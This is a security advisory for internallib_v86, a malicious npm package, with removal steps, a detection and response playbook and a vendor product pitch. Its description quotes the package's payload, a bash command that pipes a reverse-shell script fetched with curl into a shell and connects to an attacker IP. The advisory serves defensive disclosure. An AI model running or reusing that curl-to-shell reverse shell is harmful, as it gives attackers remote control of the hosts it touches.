Malicious package

internallib_v86npm

Malicious code in internallib_v86 (npm)

MAL-2026-17634
Immediate action
Remove the package, then rotate any secrets the build/runtime could reach.
npm uninstall internallib_v86

What this malware does

internallib_v86 ships a tiny index.js that exports a function command which invokes /bin/bash -c "curl https://reverse-shell.sh/... | sh" targeting 10.0.19.80:443. Any consumer that requires the package and calls the exported function causes the installer's host to fetch a reverse-shell script from reverse-shell.sh and pipe it to a shell, giving an interactive remote shell on the installer to whoever controls 10.0.19.80. The package name is generic and no legitimate functionality is implemented alongside this behavior.

Detection & response playbook

Malicious package
  1. Find it

    Search your lockfiles and build artifacts for internallib_v86 (version 1.0.2).

  2. If you installed it — respond

    Remove internallib_v86 from your project and lockfile, then assume any secrets accessible to the build or runtime were exposed: rotate API keys, tokens, and credentials, and audit for unexpected outbound activity or persistence.

  3. Did it already run?

    If internallib_v86 was installed, its post-install payload may already have run. Removing the package does not undo that — check outbound connections and credential use from the install window onward.

Frequently asked questions

No. internallib_v86 on npm has been identified as a malicious package (version 1.0.2 flagged). It should be removed immediately — do not install or keep it in your dependency tree.

Detect & block this

O3 blocks internallib_v86-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the malicious outbound activity and severs the channel.
